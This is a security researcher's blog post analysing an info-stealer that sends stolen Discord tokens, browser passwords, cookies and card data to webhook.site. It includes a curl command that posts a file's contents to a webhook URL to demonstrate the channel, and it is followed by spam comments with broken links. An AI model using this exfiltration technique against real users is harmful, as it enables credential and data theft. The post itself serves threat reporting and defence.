Info-Stealer Using webhook.site to Exfiltrate Data
We already reported multiple times that, when you offer an online (cloud) service, there are a lot of chances that it will be abused for malicious purposes. I spotted an info-stealer that exfiltrates data through webhook.site. Today, many Python scripts use Discord as a C2 communication channel. This time, something different and that looks definitively less suspicious.
webhook.site is an online service that helps you to test webhooks. By definition, a webhook[1] is a technique used to modify a page or an application with custom callbacks. They are also often used to automate data manipulations. Webhooks are perfect to receive JSON data through HTTP POST requests.
The malicious tool is Hazard-Token-Grabber-V2, available on GitHub[2] for a few days. Actually, it has a very low VT score: 3/56[3]. The script extracts a lot of information from the infected system:
- Username
- ComputerName
- IP
- City
- Region
- Country
- Google Maps Location
- Screenshot of their pc
- All Their Valid Discord Tokens (bypasses betterdiscord's anti-token-grab-protector)
- Password For Discord (You get Their Password if They Update it)
- Their Whole Credit Card (if They Put one in)
- All Their Chrome Passwords And Cookies
How does work webhook.site? When you visit the page, they will generate a unique webhook for you. Now, you can just watch hit and send HTTP POST requests to it. For example, my webhook was:
https://webhook.site/4accef15-fa3b-4926-a853-2b020accd3a2
I sent this requests:
$ echo “This is a far file” >file.txt $ curl -X POST --data-binary @file.txt hxxps://webhook[.]site/4accef15-fa3b-4926-a853-2b020accd3a2
Data is instantly received by the webhook that the attacker is probably monitoring:
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A very efficient and stealthy way to exfiltrate data!
[1] https://en.wikipedia.org/wiki/Webhook
[2] https://github.com/Rdimo/Hazard-Token-Grabber-V2
[3] https://www.virustotal.com/gui/file/efe6d18849828e14855b0f493652183b39c7553621b78b89a05157705314a7b4/details
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
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<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
8 months ago